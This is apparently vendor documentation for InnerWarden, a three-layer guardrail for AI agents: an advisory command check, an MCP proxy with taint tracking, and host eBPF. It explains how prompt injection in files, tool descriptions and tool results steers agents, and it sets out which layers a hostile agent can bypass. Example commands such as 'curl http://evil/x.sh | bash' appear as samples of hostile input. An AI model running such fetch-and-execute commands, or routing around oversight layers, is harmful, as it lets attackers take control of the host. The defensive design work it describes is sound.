AI Agent Guardrail
How InnerWarden guards an AI agent with three layers: advisory MCP checks, an inspecting proxy, and host eBPF the agent cannot talk its way past.
For: anyone running an AI agent (Claude Code, Cursor, an autonomous runner) that can touch a real shell, and who wants a safety layer the agent cannot talk its way past.
The big idea: the safety layer lives outside the agent
An AI agent that can run shell commands is genuinely useful and genuinely risky. The risk is not that the model is evil. The risk is that it can be tricked: a poisoned file, a malicious web page, a booby-trapped pull request, a prompt-injection buried in a tool result. Once the model is convinced it should run curl http://evil/x.sh | bash, any guardrail that lives inside the model is inside the thing that just got fooled.
InnerWarden puts the guardrail outside the model context. Community screens integrated commands and MCP traffic before execution. Enterprise adds host telemetry and Linux kernel controls. The distinction matters: an advisory check is bypassable if a hostile agent refuses to call it; an in-path MCP proxy holds for the traffic it wraps; an armed host gate holds for the scoped process even when the agent lies.
This page explains the layers and, importantly, what a hostile agent can and cannot bypass. The first two layers are the free, cross-platform Community guardrail (the innerwarden binary, installed with curl -fsSL https://innerwarden.com/free | sh, or npm install -g innerwarden if you prefer npm and can give it sudo on Linux): they screen the agent's commands and MCP calls before they happen, on Linux, macOS, and Windows, with no kernel component. The host eBPF and the Execution Gate below them are the Enterprise step (the paid Linux host stack). To actually wire your agent in, go to Connect Your Agent. To adapt InnerWarden safely to your machine without handing an attacker a free pass, see Safe Observe and Allowlist.
The three layers
Think of them as three rings, from "the agent voluntarily asks" to "the agent has no say in the matter." Layers 1 and 2 are the free Community guardrail (innerwarden, cross-platform). Layer 3 is Enterprise (the paid Linux host stack, including the Execution Gate).
Layer 1: the command check and agent hook (innerwarden, Community)
This is the cooperative or integrated layer. A supported agent hook, the local HTTP contract, or a direct CLI call asks before an action:
- is this command safe? (
innerwarden checkreturns deny / review / allow) - should the integrated hook stop this action? (
innerwarden hook) - can a custom runner query the same local decision engine? (
innerwarden serve)
innerwarden check "curl http://evil.example/x.sh | bash"
innerwarden serve # optional loopback HTTP adapter for custom agents
What it is good for: a well-behaved agent that wants to do the right thing gets a fast, local "should I?" before every risky step, and a denied command gives the agent a clear reason to stop and tell the human.
What it is not: enforcement. A compromised or careless agent can simply not call the tool. Advisory means advisory. That is why this is the front door, not the lock.
Layer 2: the MCP inspecting proxy, enforcement in the path (innerwarden proxy, Community)
This is the enforcement layer for MCP traffic. Instead of trusting the agent to ask, you wrap the MCP server the agent uses, so the guardrail sits in the path of every tool call:
innerwarden proxy --mode guard -- npx -y @some/mcp-server
# on the Enterprise host stack the equivalent is: innerwarden agent proxy --mode guard -- ...
Now the agent's tool calls flow through the guardrail. It inspects the arguments of each call, watches for poisoned tool descriptions (a server that tries to inject instructions through its tool list) and for injection smuggled back in a tool result, and acts according to the mode:
--mode | What it does |
|---|---|
advisory | Transparent pass-through, alerts only. Good for first-run observation. |
warn | Pass through but flag risky calls loudly. |
guard | Block a dangerous call and return a denial to the agent (the call never reaches the server). |
kill | Block and terminate the session. |
The agent cannot skip this layer for traffic that goes through the proxied server, because there is no "around." The bytes physically pass through InnerWarden.
The two-step attack: values laundered through the agent
Inspecting each message on its own misses the attack that matters most against an agent. A tool returns attacker-controlled text (a poisoned file, a hijacked page, a malicious search result), the model treats it as data, and then feeds a fragment of it, a URL, a path, an id, verbatim into a later tool call. Neither message looks dangerous alone, so a stateless inspector passes both. The agent has become a confused deputy: steered by output it was never meant to trust.
The proxy closes that gap with session-scoped taint tracking. It records the long tokens of every tool result it relays, and when a later call carries one of those tokens inside a string argument it escalates: an AG-TAINT alert in advisory, a block in guard and kill.
It is deliberately conservative, because a noisy guardrail gets switched off. Only single whitespace-delimited tokens of at least twelve bytes are tracked, which in practice means paths, URLs, hostnames and ids rather than common words. A reused multi-word phrase is not flagged; that is the high-false-positive case and skipping it is a documented decision, not an oversight. Retention is hard-bounded per session so a flood of tool output cannot exhaust memory.
Layer 3: the host eBPF and Execution Gate (Enterprise), catches it even if the agent never asks or lies
This layer is Enterprise (the paid Linux host stack), and it does not depend on the agent cooperating at all. Whatever an agent (or a process the agent spawned, or malware the agent was tricked into fetching) actually does on the box shows up as syscalls, and InnerWarden's sensor is watching those with eBPF: process execution, network connections, file reads of credential paths, privilege changes, and more. That feeds the same detectors, correlation rules, and response skills that protect the host from any attacker. See What It Detects.
The Execution Gate (part of Enterprise's Active Defence) goes one step further: a kernel allowlist for binaries. When armed, the kernel refuses to execute any binary that is not on a signed allowlist, returning a hard denial before the program ever runs. An agent that fetched and tried to run an unknown binary is stopped at the exec, no matter what it told anyone. The Execution Gate ships with an observe mode (log, block nothing) and a rehearsal that proves zero legitimate denials before you ever arm it. The safe path into arming it is owned by Safe Observe and Allowlist.
Advisory vs enforcement: what a hostile agent can and cannot bypass
This is the part to get right, because "we put a guardrail on the AI" means nothing if the AI can route around it. Be precise about which layer holds under a hostile agent:
| If the agent is... | Layer 1 (innerwarden, advisory, Community) | Layer 2 (innerwarden proxy, enforcement, Community) | Layer 3 (host eBPF / Execution Gate, Enterprise) |
|---|---|---|---|
| Cooperative | Asks first, obeys deny / review | Calls pass through, clean ones proceed | Quietly confirms the host stays healthy |
| Careless / buggy | Might forget to ask, bypassable | Still inspected, holds | Still watched, holds |
| Compromised / hostile | Will not ask, bypassable | Still in the path, holds | Still produces syscalls, holds |
The honest summary: Layer 1 is bypassable on its own because it relies on the agent choosing to ask. The enforcement that does not depend on the agent cooperating is Layer 2 (for MCP traffic) plus Layer 3 (for anything that actually runs on the host). Use the advisory layer for ergonomics and a clean stop-reason for good agents. Rely on the proxy and the host layers for the guarantee.
One more deliberate design choice: when an agent calls the advisory check and gets a deny or review, the reason it gets back is generic ("matches a dangerous pattern"). It never reveals which specific rule fired. That is on purpose. A hostile agent that could see the exact rule could iterate against it to find a phrasing that slips through. Every check is also logged, and probing patterns alert the operator. The detection internals never cross the guardrail boundary.
The loopback Agent API (what the front door actually talks to)
Underneath both mcp-serve and any custom integration is a small HTTP brain bound to 127.0.0.1:8787 (loopback only, no credentials needed from on the box):
POST /api/agent/check-commandreturns a decision of deny, review, or allowGET /api/agent/security-contextreturns threat level, incident counts, and a recommendationGET /api/agent/check-ip?ip=<addr>says whether an IP is a known threat or already blocked
These are the contract a coding agent consults at runtime. The exact request and response shape, plus copy-paste examples, live in Connect Your Agent. Keep these endpoints on loopback. Exposing them to the network would turn your private "should I?" brain into a public oracle that anyone could query.
Managed-agent coexistence: it will not sever the agent it guards
There is an obvious failure mode in all of this. If InnerWarden guards an AI agent, and that agent's normal startup looks a little like an attack (it reads its own .env, it connects out to its own Slack or its model provider), a naive guardrail would auto-block the destination and kill the agent it was supposed to protect. That is exactly the kind of self-inflicted outage that makes people turn safety tools off.
InnerWarden handles this explicitly. It recognises a legitimate, co-located agent it is meant to guard and withholds the auto-block and kernel-deny response for that agent acting on its own services. The recognition is deliberate and strict:
- a registry hit (the agent was connected via Connect Your Agent), kept in sync automatically so it survives an agent restart,
- a live
/proc/<pid>/cmdlinere-identification of a known agent signature, - an executable path on a root not writable by an attacker,
- a config path owned by the agent's own user, not a credential file like
/etc/shadow.
All of these are re-verified live and fail closed. Crucially the relaxation is source-based (it trusts the verified agent identity), never destination-based (so it keeps working when the agent's Slack or model-provider IP rotates, and a known-bad destination still forces the block). And it is a downgrade, never a silence: the event still fires as an incident and you are still notified, InnerWarden just does not pull the trigger on the agent it is meant to protect. If the agent is impersonated, or it starts reading a foreign secret and exfiltrating, the exemption does not apply and the block lands.
Where to go next
- Wire your agent in, step by step: Connect Your Agent
- Adapt InnerWarden to your machine without blind-trusting what is running: Safe Observe and Allowlist
- The contract for what the autonomous response will and will not do on its own: Trust and Safety Invariants
- What the host layer actually detects: What It Detects